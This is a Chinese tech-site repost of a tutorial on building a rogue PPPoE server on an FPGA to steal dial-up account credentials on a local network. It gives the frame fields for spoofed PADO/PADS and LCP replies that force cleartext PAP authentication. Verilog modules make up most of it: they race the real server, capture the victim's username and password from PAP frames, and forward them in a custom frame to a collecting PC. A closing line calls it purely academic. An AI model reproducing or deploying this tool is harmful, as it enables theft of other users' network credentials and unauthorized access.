安基网 首页 安全 渗透测试 查看内容

【源码】使用FPGA来获取PPPoE登录的账号密码

2019-5-13 02:59| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 在与本头条同名的微信公众号之前的一篇文章《 西电免流量限制上网攻略!Python实现PPPOE攻击工具,秒杀拨号上网》结尾布置了思考题,如何采用FPGA实现PPPoE的第一种攻击,也就是获取对方账号密码的攻击。本文针对FPGA实现的第一种攻击进行详细的介绍。FPGA实现方式具有非常好的硬件加速性能,窃取账号 ...

在与本头条同名的微信公众号之前的一篇文章《 西电免流量限制上网攻略!Python实现PPPOE攻击工具,秒杀拨号上网》结尾布置了思考题,如何采用FPGA实现PPPoE的第一种攻击,也就是获取对方账号密码的攻击。本文针对FPGA实现的第一种攻击进行详细的介绍。FPGA实现方式具有非常好的硬件加速性能,窃取账号密码的成功率也会更高。因为,较之前Python实现方式而言,在收到网络上某台计算机发送的PADI广播包后,FPGA实现的伪装的服务器具有相当大的概率会抢在真正的服务器之前向该计算机发送欺骗帧(让对方将自己的账号密码以明文的形式反馈回来)。本文的目的一方面提醒网络安全的重要性,另一方面让大家意识到硬件加速力的重要性。试想,如果采用FPGA发起上文中提到的第三种DDOS攻击,估计瞬间就会造成整个网络的瘫痪。提升网络安全意识,从一点一滴做起。

一开始,我们先回顾一下之前使用Python实现的软件攻击的过程。

Python实现的软件攻击回顾

对于PPPOE认证上网的过程如下图所示,分为发现阶段和会话阶段,发现阶段分为PADI,PADO,PADR,PADS。


其中窃取账号密码的问题就出现在第一步PADI。PPPOE客户端进行连接时,在PADI阶段会发送一个广播包,寻找局域网中的PPPOE服务器,从而完成认证。

这时候我们需要做的是伪装成PPPOE服务器,回复请求信息,抢先和客户端通信,并强制客户端使用明文传输方式,从而获取账号和密码。下面我们通过wireshark抓一下数据包,更加直观的观察一下寻找PPPOE服务器的过程。点击宽带连接,使用Wireshark监听,会发现广播包,这时候pppoe服务器会进行回复。



攻击场景:在本机电脑上开启PPPOE欺骗程序,开始进行监听,并在局域网中的其他电脑上进行宽带连接,观察欺骗效果。如下图所示,已经成功欺骗出了账号和密码。



窃取账号的部分代码内容如下



FPGA实现攻击必须完成的任务

PPPOE的认证过程分两个阶段

  1. 发现阶段:客户机寻找并确定可用的服务器,得到会话ID
  2. 会话阶段:在发现阶段所确定的参数基础上,依次完成链路控制协商、认证和NCP协商

由于会话阶段的认证步骤中进行用户密码传输,故FPGA伪装至少完成:

1.发现阶段

2.会话阶段的链路控制协商



发现阶段帧结构

发现阶段伪装要做到两点,一是识别并记录客户机的PADI、PADR帧信息;二是发送对应的PADO、PADS帧



发现阶段:PADI帧的识别与PADO帧的发送



PADI帧识别特征

�6�1帧类型域:0x8863(发现阶段)

�6�1PPPOE帧代码域:0x09(PADI帧)


PADO帧发送

�6�1目的MAC地址:客户机地址(PADI帧中源MAC地址)

�6�1帧类型域:0x8863(发现阶段)

�6�1PPPOE帧代码域:0x07(PADO帧)

�6�1静载荷域:在收到的PADI帧的净载荷后加上AC-NAME

发现阶段:PADR帧的识别与PADS帧的发送




PADR帧识别特征

�6�1帧类型域:0x8863(发现阶段)

�6�1PPPOE帧代码域:0x19(PADR帧)

PADS帧发送

�6�1目的MAC地址:客户机地址(PADR帧中源MAC地址)

�6�1帧类型域:0x8863(发现阶段)

�6�1PPPOE帧代码域:0x65(PADS帧)

�6�1会话ID:可统一设为不为0的固定值

�6�1净载荷域:与收到PADR帧的净载荷相同

会话阶段帧结构




会话阶段要做到:

1.发送认证协议参数为0xc023(PAP协议)的Config-Request报文

2.识别客户机发送的Config-Request报文并回应Config-Ack报文

会话阶段:Request帧的发送



LCP Configuration Request帧

�6�1目的MAC地址:客户机地址(PADR帧中源MAC地址)

�6�1帧类型域:0x8864(会话阶段)

�6�1PPPOE帧代码域:0x00(会话数据)

�6�1会话ID:可统一设为不为0的固定值

�6�1点对点协议:0xc021(LCP协议)

�6�1PPP LCP帧代码域:0x01(Request帧)

�6�1认证协议:0xc023(PAP协议)

会话阶段:Ack帧的发送




LCP Configuration Ack帧

�6�1目的MAC地址:客户机地址(Request帧中源MAC地址)

�6�1帧类型域:0x8864(会话阶段)

�6�1PPPOE帧代码域:0x00(会话数据)

�6�1会话ID:可统一设为不为0的固定值

�6�1点对点协议:0xc021(LCP协议)

�6�1PPP LCP帧代码域:0x02(Ack帧)

�6�1其余数据均与接收的Request帧保持一致即可

FPGA实现




1、u_pppoeattack_v1模块

�6�1解析识别0口接收到的PPPOED、PPP帧

�6�1记录特定帧的帧信息(源MAC地址、控制信息用寄存器保存,载荷用FIFO保存)

�6�1根据接收的帧类型确定回复帧类型

�6�1根据记录的信息和回复帧类型向0口发送对应帧

(1)解析识别0口接收到的PPPOED、PPP帧

首先获取接收帧不同结构位置下的数据


//获取接收帧的帧类型、PPPOE类型、PPPOE会话ID
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
frame_type <= 16'b0;
pppoed_code <= 8'b0 ;
lcp_code <= 8'd0 ;
pppoed_session_id <= 16'b0;
end
else if(read_frame_step == 9'd3)
begin
frame_type <= ff_rx_data[31:16];
pppoed_code<= ff_rx_data[7:0];
end
else if(read_frame_step == 9'd4)
begin
pppoed_session_id <= ff_rx_data[31:16];
end
else if(read_frame_step == 9'd5)
begin
lcp_code <= ff_rx_data[15:8];
end
else
begin
frame_type <= 16'b0;
pppoed_code <= 8'b0 ;
pppoed_session_id <= 16'b0;
lcp_code <= 8'd0 ;
end
end

(2)解析识别0口接收到的PPPOED、PPP帧

其次要根据获取数据判断接收帧类型,并在回复帧之前确定好回复帧类型

//确定该发送何种PPPOE帧
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
send_frame_step_flag <= 4'd0;
end
else if(ff_tx_eop == 1'b1 && (send_frame_step_flag == PADS || send_frame_step_flag == PPP_LCP_ACK))
begin
send_frame_step_flag <= PPP_LCP_REQUEST;
end
else if(ff_tx_eop == 1'b1)
begin
send_frame_step_flag <= 4'd0;
end
else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h09 && send_frame_step_flag == 4'd0)
begin
send_frame_step_flag <= PADO;
end
else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h19 && send_frame_step_flag == 4'd0)
begin
send_frame_step_flag <= PADS;
end
else if(frame_type == PPP_SESSION && lcp_code == 8'h01 && send_frame_step_flag == 4'd0)
begin
send_frame_step_flag <= PPP_LCP_ACK;
end
end

(3)解析识别0口接收到的PPPOED、PPP帧

记录特定帧的帧信息

载荷用FIFO保存


payload_fifo u_payload_fifo (
.clk(clk), // input wire clk
.rst(~reset_n), // input wire srst
.din(ff_rx_data), // input wire [31 : 0] din
.wr_en(payload_data_wren), // input wire wr_en
.rd_en(payload_data_rden), // input wire rd_en
.dout(fifo_payload_dout), // output wire [31 : 0] dout
.full(payload_fifo_full), // output wire full
.empty(payload_fifo_empty) // output wire empty
);


源MAC地址等信息用寄存器保存

//获取接收帧的目的MAC地址和源MAC地址
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
des_addr <= 48'b0;
sou_addr <= 48'b0;
end
else if(read_frame_step == 9'd0 && ff_rx_sop == 1'b1 && ff_rx_dval == 1'b1)
begin
des_addr[47:16] <= ff_rx_data;
end
else if(read_frame_step == 9'd1)
begin
des_addr[15:0] <= ff_rx_data[31:16];
sou_addr[47:32] <= ff_rx_data[15:0] ;
end
else if(read_frame_step == 9'd2)
begin
sou_addr[31:0] <= ff_rx_data;
end
end

(4)对应帧的发送:依次将地址数据、帧格式数据以及载荷写入到输出数据信号并发送

//帧发送数据赋值
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
ff_tx_data <= 32'b0;
end
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd0)
begin
ff_tx_data <= sou_addr[47:16]; //发送目的MAC地址(接收帧源地址)
end
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd1)
begin
ff_tx_data <= {sou_addr[15:0],MAC_ADDR[47:32]};
end
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd2)
begin
ff_tx_data <= MAC_ADDR[31:0];
end
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd3)
begin
ff_tx_data <= {send_frame_type,8'h11,send_pppoed_code};
end //发送帧类型数据
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd4)
begin//发送会话ID及载荷长度
ff_tx_data <= {send_session_id,send_frame_payload_length};
end
else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd5 && send_ppp_type != 16'h0)
begin//发送PPP和LCP帧类型以及分类码
ff_tx_data <= {send_ppp_type,send_lcp_code,send_lcp_identifier};
end
else if(send_frame_step_flag != 4'd0 && send_payload_flag == 1'b1)
begin
ff_tx_data <= fifo_payload_dout; //发送特定帧所需的之前记录的接收帧载荷
end
else if(send_frame_step_flag == PADO && send_frame_step > 9‘d4) //发送PADO帧载荷
begin
if(send_cnt == 3'd4)
ff_tx_data <= {AC_NAME[7:0],24'b0};
else if(send_cnt == 3'd3)
ff_tx_data <= AC_NAME[39:8];
else if(send_cnt == 3'd2)
ff_tx_data <= AC_NAME[71:40];
else if(send_cnt == 3'd1)
ff_tx_data <= AC_NAME[103:72];
else if(send_cnt == 3'd0)
ff_tx_data <= AC_NAME_TAG;
end
else if(send_frame_step_flag == PPP_LCP_REQUEST && send_frame_step > 9‘d4) //发送LCP_Request帧载荷
begin
if(send_cnt == 3'd4)
ff_tx_data <= LCP_OPTIONS[31:0];
else if(send_cnt == 3'd3)
ff_tx_data <= LCP_OPTIONS[63:32];
else if(send_cnt == 3'd2)
ff_tx_data <= LCP_OPTIONS[95:64];
else if(send_cnt == 3'd1)
ff_tx_data <= LCP_OPTIONS[127:96];
else if(send_cnt == 3'd0)
ff_tx_data <= LCP_OPTIONS[159:128];
end
else
begin
ff_tx_data <= 32'b0;
end
end

2、u_pppoeattack_authen_forward模块

�6�1解析识别0口接收到的PPP_PAP帧、1口接收到的以太网帧

�6�1记录1口以太网帧的帧信息(源MAC地址用寄存器保存)

�6�1记录PPP_PAP帧的帧信息(载荷域的账号密码用FIFO保存)

�6�1接收到PAP帧后向1口发送包含账号密码的自定义帧

(1)解析识别0口接收到的PPP_PAP帧、1口接收到的以太网帧与u_pppoeattack_v1模块操作相同

//获取1口接收以太网帧源MAC地址
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
sou_addr_1 <= 48'hffffffffffff;
end
else if(read_frame_step_1 == 9'd1)
begin
sou_addr_1[47:32] <= ff_rx_data_1[15:0] ;
end
else if(read_frame_step_1 == 9'd2)
begin
sou_addr_1[31:0] <= ff_rx_data_1;
end
end
//拉高写使能信号,将PPP_PAP帧账号密码信息写入FIFO
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
payload_data_wren <= 1'b0;
end
else if(payload_data_write_cnt >= (payload_length_4bytes - 1))
begin
payload_data_wren <= 1'b0;
end
else if(frame_type == 16'h8864 && pppoed_code == 8'h00 && ff_rx_data_0[31:16] == 16'hc023 && ff_rx_data_0[15:8] == 8'h01 && payload_fifo_full == 1'b0 && read_frame_step == 9'd5)
begin
payload_data_wren <= 1'b1;
end
end


//将接收到PPP_PAP帧的账号密码信息打包为一个自定义帧通过1口发往上位机
always @(posedge clk or negedge reset_n)
begin
if(reset_n == 1'b0)
begin
ff_tx_data_1 <= 32'b0;
end
else if(ff_tx_eop_1 == 1'b1)
begin
ff_tx_data_1 <= 32'b0;
end
else if(send_frame_step == 9‘d1) //目的MAC地址
begin
ff_tx_data_1 <= sou_addr_1[47:16];
end
else if(send_frame_step == 9'd2)
begin
ff_tx_data_1 <= {sou_addr_1[15:0],MAC_ADDR[47:32]};
end
else if(send_frame_step == 9‘d3) //板子源MAC地址
begin
ff_tx_data_1 <= MAC_ADDR[31:0];
end
else if(send_frame_step == 9‘d4)
begin//自定义帧类型0x8817,0x23与0x02为数据起始符
ff_tx_data_1 <= {16‘h8817,8’h23,8‘h02};
end
else if(send_frame_step == 9'd5)
begin //0x2020为两个空格,替换原无效数据,0x25为数据分隔符%
ff_tx_data_1 <= {16'h2020,8'h25,fifo_payload_dout[7:0]};
end
else if(send_frame_step == send_frame_length_4bytes && send_frame_step > 9‘d5) //0x24表示数据结束符
begin
ff_tx_data_1 <= {8'h24,24'h0};
end
else if(send_frame_step > 9‘d5 && account_cnt > account_length) //在账号与密码之间加入一个0x25数据分隔符%
begin
if(account_length == account_cnt - 8'd4)
ff_tx_data_1 <= {8'h25,fifo_payload_dout[23:0]};
else if(account_length == account_cnt - 8'd3)
ff_tx_data_1 <= {fifo_payload_dout[31:24],8'h25,fifo_payload_dout[15:0]};
else if(account_length == account_cnt - 8'd2)
ff_tx_data_1 <= {fifo_payload_dout[31:16],8'h25,fifo_payload_dout[7:0]};
else if(account_length == account_cnt - 8'd1)
ff_tx_data_1 <= {fifo_payload_dout[31:8],8'h25};
else
ff_tx_data_1 <= fifo_payload_dout;
end
else if(send_frame_step > 9'd5)
begin
ff_tx_data_1 <= fifo_payload_dout;
end
end

效果







温馨提示:

文中内容纯粹为学术交流,若有同学自己练习引起的一切问题,本文概不负责。

全文完。



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6689957032134443528/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部